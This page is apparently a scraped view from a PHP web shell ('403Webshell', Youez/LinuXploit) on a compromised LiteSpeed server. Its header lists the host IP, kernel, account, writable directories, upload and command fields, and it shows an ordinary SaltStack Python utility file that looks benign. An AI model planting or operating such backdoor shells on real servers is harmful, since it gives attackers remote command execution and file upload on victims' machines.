403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.178
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/entrypoints.py
import functools
import logging
import time
import types

from salt._compat import importlib_metadata

log = logging.getLogger(__name__)


def timed_lru_cache(timeout_seconds, *, maxsize=256, typed=False):
    """
    This decorator is the same in behavior as functools.lru_cache with the
    exception that it times out after the provided ``timeout_seconds``
    """

    def _wrapper(f):
        # Apply @lru_cache to f
        f = functools.lru_cache(maxsize=maxsize, typed=typed)(f)
        f.delta = timeout_seconds
        f.expiration = time.monotonic() + f.delta

        @functools.wraps(f)
        def _wrapped(*args, **kwargs):
            now = time.monotonic()
            if now >= f.expiration:
                f.cache_clear()
                f.expiration = now + f.delta
            return f(*args, **kwargs)

        return _wrapped

    return _wrapper


@timed_lru_cache(timeout_seconds=0.5)
def iter_entry_points(group, name=None):
    entry_points_listing = []
    entry_points = importlib_metadata.entry_points()

    try:
        for entry_point in entry_points.select(group=group):
            if name is not None and entry_point.name != name:
                continue
            entry_points_listing.append(entry_point)
    except AttributeError:
        # importlib-metadata<5.0.0
        for entry_point_group, entry_points_list in entry_points.items():
            if entry_point_group != group:
                continue
            for entry_point in entry_points_list:
                if name is not None and entry_point.name != name:
                    continue
                entry_points_listing.append(entry_point)

    return entry_points_listing


def name_and_version_from_entry_point(entry_point):
    return types.SimpleNamespace(
        name=entry_point.dist.metadata["name"],
        version=entry_point.dist.version,
    )

Youez - 2016 - github.com/yon3zu
LinuXploit